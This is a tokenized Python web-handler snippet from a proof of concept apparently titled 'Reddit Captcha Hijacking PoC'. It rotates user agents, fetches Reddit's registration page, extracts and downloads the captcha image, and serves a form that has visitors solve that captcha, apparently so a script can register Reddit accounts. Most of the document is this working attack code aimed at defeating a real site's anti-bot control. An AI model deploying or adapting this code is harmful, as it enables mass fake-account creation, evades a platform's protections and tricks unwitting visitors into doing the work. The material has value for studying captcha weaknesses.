#NEWLINE# def index( self ) : #NEWLINE# #INDENT# ualist = [ line . rstrip ( ) for line in open ( 'useragents.txt' ) ] #NEWLINE# br . addheaders = [ ( 'User-agent' , '{0}' . format ( choice ( ualist ) ) ) ] #NEWLINE# br . open ( 'http://www.reddit.com/register' ) #NEWLINE# source_fixed1 = br . response ( ) . read ( ) #NEWLINE# cap_iden1 = re . compile ( 'value="[A-Za-z0-9]{32}' ) #NEWLINE# captchai1 = cap_iden1 . search ( source_fixed1 ) #NEWLINE# cident_raw1 = captchai1 . group ( ) #NEWLINE# cident1 = captchai1 . group ( ) #NEWLINE# cident1 = cident1 . replace ( 'value="' , '' ) #NEWLINE# captchaname1 = ( ( 'captchas/' + cident1 ) + '.png' ) #NEWLINE# captchaurl1 = 'http://reddit.com/captcha/{0}.png' . format ( cident1 ) #NEWLINE# with open ( captchaname1 , 'wb' ) as handle : #NEWLINE# #INDENT# request = rsess . get ( captchaurl1 , headers = headers , stream = True ) #NEWLINE# for block in request . iter_content ( 1024 ) : #NEWLINE# #INDENT# if ( not block ) : #NEWLINE# #INDENT# break #NEWLINE# #UNINDENT# handle . write ( block ) #NEWLINE# #UNINDENT# #UNINDENT# return ( ( ( ( '<!DOCTYPE html>\n<html lang="en">\n<head>\n<meta http-equiv="X-UA-Compatible" content="IE=edge"/>\n<meta charset="utf-8" />\n<title>Reddit Captcha Hijacking PoC</title>\n<link rel="stylesheet" href="css/master.css" type="text/css" />\n</head>\n<body id="index">\n        <div id="container">\n            <div id="header"><h1>Captchajacking PoC - blog post <a href="http://blog.shubh.am/">here.</a></h1></div>\n            <div id="main">\n                <form action="execute" method="post">\n                <table cellpadding="0" cellspacing="0" border="0">\n                    <tr>\n                        <td class="form-input-name">Username</td>\n                        <td class="input"><input type="username" name="username" placeholder="crash override" autocomplete="off" required="required" /></td>\n                    </tr>\n                    <tr>\n                        <td class="form-input-name">Password</td>\n                        <td class="input"><input type="password" name="passw" placeholder="gibsonhacker101" autocomplete="off" required="required" /></td>\n                    </tr>\n        \n                    <tr>\n                        <td class="form-input-name">Captcha</td>\n                        <td class="input">' + '<img src=' ) + captchaname1 ) + '></img>' ) + '<textarea name="captcha" rows="5" cols="29" placeholder="Captcha Text"></textarea></td>\n                    </tr>\n                    <tr>\n                        <td class="form-input-name"></td>\n                        <td><input type="submit" value="Register" /></td>\n                    </tr>\n                </table>\n                </form>\n            </div>\n        </div>\n</body>\n</html>' )